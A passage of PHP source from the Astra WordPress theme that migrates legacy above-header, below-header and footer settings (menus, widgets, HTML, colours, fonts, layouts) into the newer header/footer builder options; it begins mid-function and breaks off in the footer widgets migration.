				'below_left_center'  => array(),
				'below_center'       => array(),
				'below_right_center' => array(),
				'below_right'        => ( '' !== $new_below_header_section_2_item ) ? array( $new_below_header_section_2_item ) : array(),
			);
			break;

		case 'below-header-layout-2':
			$theme_options['header-desktop-items']['below'] = array(
				'below_left'         => array(),
				'below_left_center'  => array(),
				'below_center'       => ( '' !== $new_below_header_section_1_item ) ? array( $new_below_header_section_1_item ) : array(),
				'below_right_center' => array(),
				'below_right'        => array(),
			);
			break;
	}

	if ( $below_header_on_mobile ) {

		if ( $below_header_swap_mobile && ( 'menu' === $below_header_section_1 || 'menu' === $below_header_section_2 ) ) {
			$temp                            = $new_below_header_section_1_item;
			$new_below_header_section_1_item = $new_below_header_section_2_item;
			$new_below_header_section_2_item = $temp;
		}

		if ( $below_header_merge_menu && ( 'menu' === $below_header_section_1 || 'menu' === $below_header_section_2 ) ) {
			if ( '' !== $new_below_header_section_1_item ) {
				$theme_options['header-mobile-items']['popup']['popup_content'][] = $new_below_header_section_1_item;
			}
			if ( '' !== $new_below_header_section_2_item ) {
				$theme_options['header-mobile-items']['popup']['popup_content'][] = $new_below_header_section_2_item;
			}
			$theme_options['header-menu2-menu-stack-on-mobile'] = true;
			$theme_options['header-mobile-items']['below']      = array(
				'below_left'   => array(),
				'below_center' => array(),
				'below_right'  => array(),
			);
		} else {
			switch ( $below_header_layout ) {

				case 'below-header-layout-1':
					$theme_options['header-mobile-items']['below'] = array(
						'below_left'   => ( '' !== $new_below_header_section_1_item ) ? array( $new_below_header_section_1_item ) : array(),
						'below_center' => array(),
						'below_right'  => ( '' !== $new_below_header_section_2_item ) ? array( $new_below_header_section_2_item ) : array(),
					);
					break;

				case 'below-header-layout-2':
					$theme_options['header-mobile-items']['below'] = array(
						'below_left'   => array(),
						'below_center' => ( '' !== $new_below_header_section_1_item ) ? array( $new_below_header_section_1_item ) : array(),
						'below_right'  => array(),
					);
					break;
			}
		}
	}

	return array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);
}

/**
 * Header Footer builder - Migration of Above Header.
 *
 * @since 3.0.0
 * @param array $theme_options Theme options.
 * @param array $used_elements Used Elements array.
 * @param array $widget_options Widget options.
 * @return array
 */
function astra_above_header_builder_migration( $theme_options, $used_elements, $widget_options ) {
	/**
	 * Above Header.
	 */

	$above_header_layout      = ( isset( $theme_options['above-header-layout'] ) ) ? $theme_options['above-header-layout'] : '';
	$above_header_on_mobile   = ( isset( $theme_options['above-header-on-mobile'] ) ) ? $theme_options['above-header-on-mobile'] : '';
	$above_header_merge_menu  = ( isset( $theme_options['above-header-merge-menu'] ) ) ? $theme_options['above-header-merge-menu'] : '';
	$above_header_swap_mobile = ( isset( $theme_options['above-header-swap-mobile'] ) ) ? $theme_options['above-header-swap-mobile'] : '';

	if ( isset( $theme_options['above-header-height'] ) ) {
		$theme_options['hba-header-height'] = array(
			'desktop' => $theme_options['above-header-height'],
			'tablet'  => '',
			'mobile'  => '',
		);
	}
	if ( isset( $theme_options['above-header-divider'] ) ) {
		$theme_options['hba-header-separator'] = $theme_options['above-header-divider'];
	}
	if ( isset( $theme_options['above-header-divider-color'] ) ) {
		$theme_options['hba-header-bottom-border-color'] = $theme_options['above-header-divider-color'];
	}
	if ( isset( $theme_options['above-header-bg-obj-responsive'] ) ) {
		$theme_options['hba-header-bg-obj-responsive'] = $theme_options['above-header-bg-obj-responsive'];
	}
	if ( isset( $theme_options['above-header-spacing'] ) ) {
		$theme_options['section-above-header-builder-padding'] = $theme_options['above-header-spacing'];
	}
	// Above Header Section 1.
	$above_header_section_1          = ( isset( $theme_options['above-header-section-1'] ) ) ? $theme_options['above-header-section-1'] : '';
	$new_above_header_section_1_item = '';

	switch ( $above_header_section_1 ) {
		case 'menu':
			$new_above_header_section_1_item = 'menu-3';
			break;

		case 'search':
			if ( ! in_array( 'search', $used_elements ) ) {
				$new_above_header_section_1_item = 'search';
				if ( isset( $theme_options['above-header-section-1-search-box-type'] ) ) {
					$theme_options['header-search-box-type'] = $theme_options['above-header-section-1-search-box-type'];
				}
			}
			break;

		case 'text-html':
			if ( ! in_array( 'html-3', $used_elements ) ) {
				$new_above_header_section_1_item = 'html-3';
				if ( isset( $theme_options['above-header-section-1-html'] ) ) {
					$theme_options['header-html-3'] = $theme_options['above-header-section-1-html'];
				}
			}

			break;

		case 'widget':
			if ( ! in_array( 'widget-3', $used_elements ) ) {
				$new_above_header_section_1_item = 'widget-3';
				if ( isset( $widget_options['above-header-widget-1'] ) ) {
					$widget_options['header-widget-3'] = $widget_options['above-header-widget-1'];
				}
			}
			break;

		case 'woocommerce':
			if ( ! in_array( 'woo-cart', $used_elements ) ) {
				$new_above_header_section_1_item = 'woo-cart';
			}
			break;

		case 'edd':
			if ( ! in_array( 'edd-cart', $used_elements ) ) {
				$new_above_header_section_1_item = 'edd-cart';
			}
			break;
	}

	// Above Header Section 2.
	$above_header_section_2          = ( isset( $theme_options['above-header-section-2'] ) ) ? $theme_options['above-header-section-2'] : '';
	$new_above_header_section_2_item = '';
	switch ( $above_header_section_2 ) {
		case 'menu':
			$new_above_header_section_2_item = 'menu-3';
			break;

		case 'search':
			if ( ! in_array( 'search', $used_elements ) ) {
				$new_above_header_section_2_item = 'search';
				if ( isset( $theme_options['above-header-section-2-search-box-type'] ) ) {
					$theme_options['header-search-box-type'] = $theme_options['above-header-section-2-search-box-type'];
				}
			}
			break;

		case 'text-html':
			if ( ! in_array( 'html-3', $used_elements ) ) {
				$new_above_header_section_2_item = 'html-3';
				if ( isset( $theme_options['above-header-section-2-html'] ) ) {
					$theme_options['header-html-3'] = $theme_options['above-header-section-2-html'];
				}
			}

			break;

		case 'widget':
			if ( ! in_array( 'widget-3', $used_elements ) ) {
				$new_above_header_section_2_item = 'widget-3';
				if ( isset( $widget_options['above-header-widget-2'] ) ) {
					$widget_options['header-widget-3'] = $widget_options['above-header-widget-2'];
				}
			}
			break;

		case 'woocommerce':
			if ( ! in_array( 'woo-cart', $used_elements ) ) {
				$new_above_header_section_2_item = 'woo-cart';
			}
			break;

		case 'edd':
			if ( ! in_array( 'edd-cart', $used_elements ) ) {
				$new_above_header_section_2_item = 'edd-cart';
			}
			break;
	}

	if ( 'menu' === $above_header_section_1 || 'menu' === $above_header_section_2 ) {
		$theme_options['header-menu3-menu-stack-on-mobile'] = false;
		/**
		 * Menu - 3
		 */
		if ( isset( $theme_options['above-header-submenu-container-animation'] ) ) {
			$theme_options['header-menu3-submenu-container-animation'] = $theme_options['above-header-submenu-container-animation'];
		}
		if ( isset( $theme_options['above-header-submenu-border'] ) ) {
			$theme_options['header-menu3-submenu-border'] = $theme_options['above-header-submenu-border'];
		}
		if ( isset( $theme_options['above-header-submenu-b-color'] ) ) {
			$theme_options['header-menu3-submenu-b-color'] = $theme_options['above-header-submenu-b-color'];
		}
		if ( isset( $theme_options['above-header-submenu-item-border'] ) ) {
			$theme_options['header-menu3-submenu-item-border'] = $theme_options['above-header-submenu-item-border'];
		}
		if ( isset( $theme_options['above-header-submenu-item-b-color'] ) ) {
			$theme_options['header-menu3-submenu-item-b-color'] = $theme_options['above-header-submenu-item-b-color'];
		}

		if ( isset( $theme_options['above-header-menu-text-color-responsive'] ) ) {
			$theme_options['header-menu3-color-responsive'] = $theme_options['above-header-menu-text-color-responsive'];
		}
		if ( isset( $theme_options['above-header-menu-bg-obj-responsive'] ) ) {
			$theme_options['header-menu3-bg-obj-responsive'] = $theme_options['above-header-menu-bg-obj-responsive'];
		}

		if ( isset( $theme_options['above-header-menu-text-hover-color-responsive'] ) ) {
			$theme_options['header-menu3-h-color-responsive'] = $theme_options['above-header-menu-text-hover-color-responsive'];
		}
		if ( isset( $theme_options['above-header-menu-bg-hover-color-responsive'] ) ) {
			$theme_options['header-menu3-h-bg-color-responsive'] = $theme_options['above-header-menu-bg-hover-color-responsive'];
		}

		if ( isset( $theme_options['above-header-current-menu-text-color-responsive'] ) ) {
			$theme_options['header-menu3-a-color-responsive'] = $theme_options['above-header-current-menu-text-color-responsive'];
		}
		if ( isset( $theme_options['above-header-current-menu-bg-color-responsive'] ) ) {
			$theme_options['header-menu3-a-bg-color-responsive'] = $theme_options['above-header-current-menu-bg-color-responsive'];
		}

		if ( isset( $theme_options['above-header-font-size'] ) ) {
			$theme_options['header-menu3-font-size'] = $theme_options['above-header-font-size'];
		}
		if ( isset( $theme_options['above-header-font-weight'] ) ) {
			$theme_options['header-menu3-font-weight'] = $theme_options['above-header-font-weight'];
		}
		if ( isset( $theme_options['above-header-line-height'] ) ) {
			$theme_options['header-menu3-line-height'] = $theme_options['above-header-line-height'];
		}
		if ( isset( $theme_options['above-header-font-family'] ) ) {
			$theme_options['header-menu3-font-family'] = $theme_options['above-header-font-family'];
		}
		if ( isset( $theme_options['above-header-text-transform'] ) ) {
			$theme_options['header-menu3-text-transform'] = $theme_options['above-header-text-transform'];
		}

		if ( isset( $theme_options['above-header-menu-spacing'] ) ) {
			$theme_options['header-menu3-menu-spacing'] = $theme_options['above-header-menu-spacing'];
		}

		// Menu 3 - Submenu.
		if ( isset( $theme_options['above-header-submenu-text-color-responsive'] ) ) {
			$theme_options['header-menu3-submenu-color-responsive'] = $theme_options['above-header-submenu-text-color-responsive'];
		}
		if ( isset( $theme_options['above-header-submenu-bg-color-responsive'] ) ) {
			$theme_options['header-menu3-submenu-bg-color-responsive'] = $theme_options['above-header-submenu-bg-color-responsive'];
		}

		if ( isset( $theme_options['above-header-submenu-hover-color-responsive'] ) ) {
			$theme_options['header-menu3-submenu-h-color-responsive'] = $theme_options['above-header-submenu-hover-color-responsive'];
		}
		if ( isset( $theme_options['above-header-submenu-bg-hover-color-responsive'] ) ) {
			$theme_options['header-menu3-submenu-h-bg-color-responsive'] = $theme_options['above-header-submenu-bg-hover-color-responsive'];
		}

		if ( isset( $theme_options['above-header-submenu-active-color-responsive'] ) ) {
			$theme_options['header-menu3-submenu-a-color-responsive'] = $theme_options['above-header-submenu-active-color-responsive'];
		}
		if ( isset( $theme_options['above-header-submenu-active-bg-color-responsive'] ) ) {
			$theme_options['header-menu3-submenu-a-bg-color-responsive'] = $theme_options['above-header-submenu-active-bg-color-responsive'];
		}

		if ( isset( $theme_options['font-size-above-header-dropdown-menu'] ) ) {
			$theme_options['header-font-size-menu3-sub-menu'] = $theme_options['font-size-above-header-dropdown-menu'];
		}
		if ( isset( $theme_options['font-weight-above-header-dropdown-menu'] ) ) {
			$theme_options['header-font-weight-menu3-sub-menu'] = $theme_options['font-weight-above-header-dropdown-menu'];
		}
		if ( isset( $theme_options['line-height-above-header-dropdown-menu'] ) ) {
			$theme_options['header-line-height-menu3-sub-menu'] = $theme_options['line-height-above-header-dropdown-menu'];
		}
		if ( isset( $theme_options['font-family-above-header-dropdown-menu'] ) ) {
			$theme_options['header-font-family-menu3-sub-menu'] = $theme_options['font-family-above-header-dropdown-menu'];
		}
		if ( isset( $theme_options['text-transform-above-header-dropdown-menu'] ) ) {
			$theme_options['header-text-transform-menu3-sub-menu'] = $theme_options['text-transform-above-header-dropdown-menu'];
		}

		if ( isset( $theme_options['above-header-submenu-spacing'] ) ) {
			$theme_options['header-menu3-submenu-spacing'] = $theme_options['above-header-submenu-spacing'];
		}
	}

	if ( 'search' === $above_header_section_1 || 'search' === $above_header_section_2 ) {
		if ( isset( $theme_options['above-header-text-color-responsive'] ) ) {
			$theme_options['header-search-icon-color'] = $theme_options['above-header-text-color-responsive'];
		}
	}

	if ( 'text-html' === $above_header_section_1 || 'text-html' === $above_header_section_2 ) {
		if ( isset( $theme_options['above-header-text-color-responsive'] ) ) {
			$theme_options['header-html-3color'] = $theme_options['above-header-text-color-responsive'];
		}
		if ( isset( $theme_options['above-header-link-color-responsive'] ) ) {
			$theme_options['header-html-3link-color'] = $theme_options['above-header-link-color-responsive'];
		}
		if ( isset( $theme_options['above-header-link-hover-color-responsive'] ) ) {
			$theme_options['header-html-3link-h-color'] = $theme_options['above-header-link-hover-color-responsive'];
		}
		if ( isset( $theme_options['font-size-above-header-content'] ) ) {
			$theme_options['font-size-section-hb-html-3'] = $theme_options['font-size-above-header-content'];
		}
		if ( isset( $theme_options['font-weight-above-header-content'] ) ) {
			$theme_options['font-weight-section-hb-html-3'] = $theme_options['font-weight-above-header-content'];
		}
		if ( isset( $theme_options['line-height-above-header-content'] ) ) {
			$theme_options['line-height-section-hb-html-3'] = $theme_options['line-height-above-header-content'];
		}
		if ( isset( $theme_options['font-family-above-header-content'] ) ) {
			$theme_options['font-family-section-hb-html-3'] = $theme_options['font-family-above-header-content'];
		}
		if ( isset( $theme_options['text-transform-above-header-content'] ) ) {
			$theme_options['text-transform-section-hb-html-3'] = $theme_options['text-transform-above-header-content'];
		}
	}

	if ( 'widget' === $above_header_section_1 || 'widget' === $above_header_section_2 ) {
		if ( isset( $theme_options['above-header-text-color-responsive'] ) ) {
			$theme_options['header-widget-3-color']       = $theme_options['above-header-text-color-responsive'];
			$theme_options['header-widget-3-title-color'] = $theme_options['above-header-text-color-responsive'];
		}
		if ( isset( $theme_options['above-header-link-color-responsive'] ) ) {
			$theme_options['header-widget-3-link-color'] = $theme_options['above-header-link-color-responsive'];
		}
		if ( isset( $theme_options['above-header-link-hover-color-responsive'] ) ) {
			$theme_options['header-widget-3-link-h-color'] = $theme_options['above-header-link-hover-color-responsive'];
		}
		if ( isset( $theme_options['font-size-above-header-content'] ) ) {
			$theme_options['header-widget-3-content-font-size'] = $theme_options['font-size-above-header-content'];
		}
		if ( isset( $theme_options['font-weight-above-header-content'] ) ) {
			$theme_options['header-widget-3-content-font-weight'] = $theme_options['font-weight-above-header-content'];
		}
		if ( isset( $theme_options['line-height-above-header-content'] ) ) {
			$theme_options['header-widget-3-content-line-height'] = $theme_options['line-height-above-header-content'];
		}
		if ( isset( $theme_options['font-family-above-header-content'] ) ) {
			$theme_options['header-widget-3-content-font-family'] = $theme_options['font-family-above-header-content'];
		}
		if ( isset( $theme_options['text-transform-above-header-content'] ) ) {
			$theme_options['header-widget-3-content-text-transform'] = $theme_options['text-transform-above-header-content'];
		}
	}

	switch ( $above_header_layout ) {

		case 'above-header-layout-1':
			$theme_options['header-desktop-items']['above'] = array(
				'above_left'         => ( '' !== $new_above_header_section_1_item ) ? array( $new_above_header_section_1_item ) : array(),
				'above_left_center'  => array(),
				'above_center'       => array(),
				'above_right_center' => array(),
				'above_right'        => ( '' !== $new_above_header_section_2_item ) ? array( $new_above_header_section_2_item ) : array(),
			);
			break;

		case 'above-header-layout-2':
			$theme_options['header-desktop-items']['above'] = array(
				'above_left'         => array(),
				'above_left_center'  => array(),
				'above_center'       => ( '' !== $new_above_header_section_1_item ) ? array( $new_above_header_section_1_item ) : array(),
				'above_right_center' => array(),
				'above_right'        => array(),
			);
			break;
	}

	if ( $above_header_on_mobile ) {

		if ( $above_header_swap_mobile && ( 'menu' === $above_header_section_1 || 'menu' === $above_header_section_2 ) ) {
			$temp                            = $new_above_header_section_1_item;
			$new_above_header_section_1_item = $new_above_header_section_2_item;
			$new_above_header_section_2_item = $temp;
		}

		if ( $above_header_merge_menu && ( 'menu' === $above_header_section_1 || 'menu' === $above_header_section_2 ) ) {
			if ( '' !== $new_above_header_section_1_item ) {
				$theme_options['header-mobile-items']['popup']['popup_content'][] = $new_above_header_section_1_item;
			}
			if ( '' !== $new_above_header_section_2_item ) {
				$theme_options['header-mobile-items']['popup']['popup_content'][] = $new_above_header_section_2_item;
			}
			$theme_options['header-menu3-menu-stack-on-mobile'] = true;
			$theme_options['header-mobile-items']['above']      = array(
				'above_left'   => array(),
				'above_center' => array(),
				'above_right'  => array(),
			);
		} else {
			switch ( $above_header_layout ) {

				case 'above-header-layout-1':
					$theme_options['header-mobile-items']['above'] = array(
						'above_left'   => ( '' !== $new_above_header_section_1_item ) ? array( $new_above_header_section_1_item ) : array(),
						'above_center' => array(),
						'above_right'  => ( '' !== $new_above_header_section_2_item ) ? array( $new_above_header_section_2_item ) : array(),
					);
					break;

				case 'above-header-layout-2':
					$theme_options['header-mobile-items']['above'] = array(
						'above_left'   => array(),
						'above_center' => ( '' !== $new_above_header_section_1_item ) ? array( $new_above_header_section_1_item ) : array(),
						'above_right'  => array(),
					);
					break;
			}
		}
	}

	return array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);
}

/**
 * Header Footer builder - Migration of Footer.
 *
 * @since 3.0.0
 * @param array $theme_options Theme options.
 * @param array $used_elements Used Elements array.
 * @param array $widget_options Widget options.
 * @return array
 */
function astra_footer_builder_migration( $theme_options, $used_elements, $widget_options ) {
	/**
	 * Footer
	 */
	$footer_layout = ( isset( $theme_options['footer-sml-layout'] ) ) ? $theme_options['footer-sml-layout'] : '';

	if ( isset( $theme_options['footer-layout-width'] ) ) {
		$theme_options['hb-footer-layout-width'] = $theme_options['footer-layout-width'];
	}
	if ( isset( $theme_options['footer-sml-divider'] ) ) {
		$theme_options['hbb-footer-separator'] = $theme_options['footer-sml-divider'];
	}
	if ( isset( $theme_options['footer-sml-divider-color'] ) ) {
		$theme_options['hbb-footer-top-border-color'] = $theme_options['footer-sml-divider-color'];
	}
	if ( isset( $theme_options['footer-bg-obj'] ) ) {
		$theme_options['hbb-footer-bg-obj-responsive'] = array(
			'desktop' => $theme_options['footer-bg-obj'],
			'tablet'  => '',
			'mobile'  => '',
		);
	}
	if ( isset( $theme_options['footer-sml-spacing'] ) ) {
		$theme_options['section-below-footer-builder-padding'] = $theme_options['footer-sml-spacing'];
	}

	// Footer Section 1.
	$footer_section_1   = ( isset( $theme_options['footer-sml-section-1'] ) ) ? $theme_options['footer-sml-section-1'] : '';
	$new_section_1_item = '';
	$used_elements[]    = $new_section_1_item;

	$footer_section_2   = ( isset( $theme_options['footer-sml-section-2'] ) ) ? $theme_options['footer-sml-section-2'] : '';
	$new_section_2_item = '';
	$used_elements[]    = $new_section_2_item;

	switch ( $footer_section_1 ) {
		case 'custom':
			$new_section_1_item                          = 'copyright';
			$theme_options['footer-copyright-alignment'] = array(
				'desktop' => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'left',
				'tablet'  => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'left',
				'mobile'  => 'center',
			);
			break;

		case 'widget':
			$new_section_1_item                         = 'widget-1';
			$theme_options['footer-widget-alignment-1'] = array(
				'desktop' => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'left',
				'tablet'  => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'left',
				'mobile'  => 'center',
			);
			if ( isset( $theme_options['footer-color'] ) ) {
				$theme_options['footer-widget-1-color'] = array(
					'desktop' => $theme_options['footer-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['footer-link-color'] ) ) {
				$theme_options['footer-widget-1-link-color'] = array(
					'desktop' => $theme_options['footer-link-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['footer-link-h-color'] ) ) {
				$theme_options['footer-widget-1-link-h-color'] = array(
					'desktop' => $theme_options['footer-link-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}

			if ( isset( $theme_options['font-size-footer-content'] ) ) {
				$theme_options['footer-widget-1-content-font-size'] = $theme_options['font-size-footer-content'];
			}

			if ( isset( $theme_options['font-weight-footer-content'] ) ) {
				$theme_options['footer-widget-1-content-font-weight'] = $theme_options['font-weight-footer-content'];
			}

			if ( isset( $theme_options['line-height-footer-content'] ) ) {
				$theme_options['footer-widget-1-content-line-height'] = $theme_options['line-height-footer-content'];
			}

			if ( isset( $theme_options['font-family-footer-content'] ) ) {
				$theme_options['footer-widget-1-content-font-family'] = $theme_options['font-family-footer-content'];
			}

			if ( isset( $theme_options['text-transform-footer-content'] ) ) {
				$theme_options['footer-widget-1-content-text-transform'] = $theme_options['text-transform-footer-content'];
			}


			break;

		case 'menu':
			$theme_options['footer-menu-alignment'] = array(
				'desktop' => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'flex-start',
				'tablet'  => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'flex-start',
				'mobile'  => 'center',
			);
			$new_section_1_item                     = 'menu';
			break;
	}

	// Footer Section 2.
	switch ( $footer_section_2 ) {
		case 'custom':
			$new_section_2_item = ( 'copyright' !== $new_section_1_item ) ? 'copyright' : 'html-1';
			if ( 'copyright' !== $new_section_1_item ) {
				$theme_options['footer-copyright-alignment'] = array(
					'desktop' => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'right',
					'tablet'  => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'right',
					'mobile'  => 'center',
				);
				if ( isset( $theme_options['footer-sml-section-2-credit'] ) ) {
					$theme_options['footer-copyright-editor'] = $theme_options['footer-sml-section-2-credit'];
				}
			} else {
				$theme_options['footer-html-1-alignment'] = array(
					'desktop' => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'right',
					'tablet'  => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'right',
					'mobile'  => 'center',
				);
				if ( isset( $theme_options['footer-sml-section-2-credit'] ) ) {
					$theme_options['footer-html-1'] = $theme_options['footer-sml-section-2-credit'];
				}
			}

			break;

		case 'widget':
			$new_section_2_item                         = 'widget-2';
			$theme_options['footer-widget-alignment-2'] = array(
				'desktop' => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'right',
				'tablet'  => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'right',
				'mobile'  => 'center',
			);
			if ( isset( $theme_options['footer-color'] ) ) {
				$theme_options['footer-widget-2-color'] = array(
					'desktop' => $theme_options['footer-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['footer-link-color'] ) ) {
				$theme_options['footer-widget-2-link-color'] = array(
					'desktop' => $theme_options['footer-link-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['footer-link-h-color'] ) ) {
				$theme_options['footer-widget-2-link-h-color'] = array(
					'desktop' => $theme_options['footer-link-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}

			if ( isset( $theme_options['font-size-footer-content'] ) ) {
				$theme_options['footer-widget-2-content-font-size'] = $theme_options['font-size-footer-content'];
			}

			if ( isset( $theme_options['font-weight-footer-content'] ) ) {
				$theme_options['footer-widget-2-content-font-weight'] = $theme_options['font-weight-footer-content'];
			}

			if ( isset( $theme_options['line-height-footer-content'] ) ) {
				$theme_options['footer-widget-2-content-line-height'] = $theme_options['line-height-footer-content'];
			}

			if ( isset( $theme_options['font-family-footer-content'] ) ) {
				$theme_options['footer-widget-2-content-font-family'] = $theme_options['font-family-footer-content'];
			}

			if ( isset( $theme_options['text-transform-footer-content'] ) ) {
				$theme_options['footer-widget-2-content-text-transform'] = $theme_options['text-transform-footer-content'];
			}


			break;

		case 'menu':
			$new_section_2_item                     = 'menu';
			$theme_options['footer-menu-alignment'] = array(
				'desktop' => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'flex-end',
				'tablet'  => ( 'footer-sml-layout-1' === $footer_layout ) ? 'center' : 'flex-end',
				'mobile'  => 'center',
			);
			break;
	}

	if ( 'custom' === $footer_section_1 || 'custom' === $footer_section_2 ) {

		// Footer Content Color migrated to Copyright.
		if ( isset( $theme_options['footer-sml-section-1-credit'] ) ) {
			$theme_options['footer-copyright-editor'] = $theme_options['footer-sml-section-1-credit'];
		}
		if ( isset( $theme_options['footer-color'] ) ) {
			$theme_options['footer-copyright-color'] = $theme_options['footer-color'];
		}
		if ( isset( $theme_options['footer-link-color'] ) ) {
			$theme_options['footer-copyright-link-color'] = $theme_options['footer-link-color'];
		}
		if ( isset( $theme_options['footer-link-h-color'] ) ) {
			$theme_options['footer-copyright-link-h-color'] = $theme_options['footer-link-h-color'];
		}

		if ( isset( $theme_options['font-size-footer-content'] ) ) {
			$theme_options['font-size-section-footer-copyright'] = $theme_options['font-size-footer-content'];
		}

		if ( isset( $theme_options['font-weight-footer-content'] ) ) {
			$theme_options['font-weight-section-footer-copyright'] = $theme_options['font-weight-footer-content'];
		}

		if ( isset( $theme_options['line-height-footer-content'] ) ) {
			$theme_options['line-height-section-footer-copyright'] = $theme_options['line-height-footer-content'];
		}

		if ( isset( $theme_options['font-family-footer-content'] ) ) {
			$theme_options['font-family-section-footer-copyright'] = $theme_options['font-family-footer-content'];
		}

		if ( isset( $theme_options['text-transform-footer-content'] ) ) {
			$theme_options['text-transform-section-footer-copyright'] = $theme_options['text-transform-footer-content'];
		}

		if ( 'html-1' === $new_section_2_item ) {
			// Footer Content Color migrated to HTML 1.
			if ( isset( $theme_options['footer-color'] ) ) {
				$theme_options['footer-html-1-color'] = array(
					'desktop' => $theme_options['footer-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['footer-link-color'] ) ) {
				$theme_options['footer-html-1-link-color'] = array(
					'desktop' => $theme_options['footer-link-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}
			if ( isset( $theme_options['footer-link-h-color'] ) ) {
				$theme_options['footer-html-1-link-h-color'] = array(
					'desktop' => $theme_options['footer-link-h-color'],
					'tablet'  => '',
					'mobile'  => '',
				);
			}

			if ( isset( $theme_options['font-size-footer-content'] ) ) {
				$theme_options['font-size-section-fb-html-1'] = $theme_options['font-size-footer-content'];
			}

			if ( isset( $theme_options['font-weight-footer-content'] ) ) {
				$theme_options['font-weight-section-fb-html-1'] = $theme_options['font-weight-footer-content'];
			}

			if ( isset( $theme_options['line-height-footer-content'] ) ) {
				$theme_options['line-height-section-fb-html-1'] = $theme_options['line-height-footer-content'];
			}

			if ( isset( $theme_options['font-family-footer-content'] ) ) {
				$theme_options['font-family-section-fb-html-1'] = $theme_options['font-family-footer-content'];
			}

			if ( isset( $theme_options['text-transform-footer-content'] ) ) {
				$theme_options['text-transform-section-fb-html-1'] = $theme_options['text-transform-footer-content'];
			}
		}
	}

	if ( 'menu' === $footer_section_1 || 'menu' === $footer_section_2 ) {
		if ( isset( $theme_options['footer-link-color'] ) ) {
			$theme_options['footer-menu-color-responsive'] = array(
				'desktop' => $theme_options['footer-link-color'],
				'tablet'  => '',
				'mobile'  => '',
			);
		}
		if ( isset( $theme_options['footer-link-h-color'] ) ) {
			$theme_options['footer-menu-h-color-responsive'] = array(
				'desktop' => $theme_options['footer-link-h-color'],
				'tablet'  => '',
				'mobile'  => '',
			);
		}

		$theme_options['footer-menu-layout'] = array(
			'desktop' => 'horizontal',
			'tablet'  => 'horizontal',
			'mobile'  => 'horizontal',
		);

		if ( isset( $theme_options['font-size-footer-content'] ) ) {
			$theme_options['footer-menu-font-size'] = $theme_options['font-size-footer-content'];
		}

		if ( isset( $theme_options['font-weight-footer-content'] ) ) {
			$theme_options['footer-menu-font-weight'] = $theme_options['font-weight-footer-content'];
		}

		if ( isset( $theme_options['line-height-footer-content'] ) ) {
			$theme_options['footer-menu-line-height'] = $theme_options['line-height-footer-content'];
		}

		if ( isset( $theme_options['font-family-footer-content'] ) ) {
			$theme_options['footer-menu-font-family'] = $theme_options['font-family-footer-content'];
		}

		if ( isset( $theme_options['text-transform-footer-content'] ) ) {
			$theme_options['footer-menu-text-transform'] = $theme_options['text-transform-footer-content'];
		}

		if ( isset( $theme_options['footer-menu-spacing'] ) ) {
			$theme_options['footer-main-menu-spacing'] = $theme_options['footer-menu-spacing'];
		}
	}

	if ( '' !== $footer_layout ) {

		$theme_options['footer-desktop-items'] = array(
			'above'   =>
				array(
					'above_1' => array(),
					'above_2' => array(),
					'above_3' => array(),
					'above_4' => array(),
					'above_5' => array(),
				),
			'primary' =>
				array(
					'primary_1' => array(),
					'primary_2' => array(),
					'primary_3' => array(),
					'primary_4' => array(),
					'primary_5' => array(),
				),
			'below'   =>
				array(
					'below_1' => array(),
					'below_2' => array(),
					'below_3' => array(),
					'below_4' => array(),
					'below_5' => array(),
				),
		);

		switch ( $footer_layout ) {
			case 'footer-sml-layout-1':
				$theme_options['footer-desktop-items']['below'] = array(
					'below_1' => array( $new_section_1_item, $new_section_2_item ),
					'below_2' => array(),
					'below_3' => array(),
					'below_4' => array(),
					'below_5' => array(),
				);
				$theme_options['hbb-footer-column']             = 1;
				$theme_options['hbb-footer-layout']             = array(
					'desktop' => 'full',
					'tablet'  => 'full',
					'mobile'  => 'full',
				);
				break;

			case 'footer-sml-layout-2':
				$theme_options['footer-desktop-items']['below'] = array(
					'below_1' => array( $new_section_1_item ),
					'below_2' => array( $new_section_2_item ),
					'below_3' => array(),
					'below_4' => array(),
					'below_5' => array(),
				);
				$theme_options['hbb-footer-column']             = 2;
				$theme_options['hbb-footer-layout']             = array(
					'desktop' => '2-equal',
					'tablet'  => '2-equal',
					'mobile'  => 'full',
				);
				break;

			default:
				$theme_options['footer-desktop-items']['below'] = array(
					'below_1' => array( 'copyright' ),
					'below_2' => array(),
					'below_3' => array(),
					'below_4' => array(),
					'below_5' => array(),
				);
		}
	}

	return array(
		'theme_options'  => $theme_options,
		'used_elements'  => $used_elements,
		'widget_options' => $widget_options,
	);
}

/**
 * Header Footer builder - Migration of Footer Widgets.
 *
 * @since 3.0.0
 * @param array $theme_options Theme options.
 * @param array $used_elements Used Elements array.
 * @param array $widget_options Widget options.
 * @return array
 */
function astra_footer_widgets_migration( $theme_options, $used_elements, $widget_options ) {

	$footer_widget_layouts = ( isset( $theme_options['footer-adv'] ) ) ? $theme_options['footer-adv'] : '';

	if ( '' !== $footer_widget_layouts ) {

		$column = 2;
		$layout = array(
			'desktop' => '2-equal',
			'tablet'  => '2-equal',
			'mobile'  => 'full',
		);
		$items  = array(
			'above_1' => array(),
			'above_2' => array(),
